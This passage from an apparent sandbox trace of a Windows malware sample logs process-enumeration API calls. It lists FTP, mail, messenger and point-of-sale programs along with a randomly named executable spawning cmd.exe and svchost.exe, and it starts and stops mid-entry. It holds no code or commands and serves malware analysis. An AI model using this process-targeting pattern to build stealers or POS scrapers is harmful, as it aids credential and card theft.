lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.452] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.453] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.454] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.454] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.455] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.456] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.456] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.457] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.457] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0051.458] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.459] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.460] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.461] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.462] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0051.463] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0051.464] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.465] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.465] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.466] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.467] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.468] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.469] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.470] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.470] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.471] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0051.472] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0051.473] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0051.474] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0051.474] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0051.475] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0051.476] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0051.477] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0051.478] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0051.479] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0051.480] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0051.480] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="influenced.exe")) returned 1 [0051.481] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.482] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.482] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.483] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aUsMWsjhpLkBV4ai.exe")) returned 1 [0051.484] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.485] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.485] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.486] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.487] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.487] CloseHandle (hObject=0x24) returned 1 [0051.487] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x24 [0051.491] Process32FirstW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.492] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.493] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.493] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.494] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.494] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.495] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.496] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.496] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.497] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.498] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.498] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.499] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.499] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.500] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.501] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.501] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.502] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.502] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.503] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.504] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.504] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.505] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.505] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.506] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist-nick.exe")) returned 1 [0051.507] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="palepromotion.exe")) returned 1 [0051.507] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="incidents_requests_moreover.exe")) returned 1 [0051.508] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="undertaken.exe")) returned 1 [0051.508] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dressed.exe")) returned 1 [0051.509] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cr_tier.exe")) returned 1 [0051.510] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oops terry.exe")) returned 1 [0051.511] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sum-poem-stanley.exe")) returned 1 [0051.511] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="apparel mercedes.exe")) returned 1 [0051.512] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="want-robinson.exe")) returned 1 [0051.512] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nissan_extension.exe")) returned 1 [0051.513] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyboard_remained_lucky.exe")) returned 1 [0051.514] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="origin.exe")) returned 1 [0051.514] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="exploringaidsoasis.exe")) returned 1 [0051.515] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: 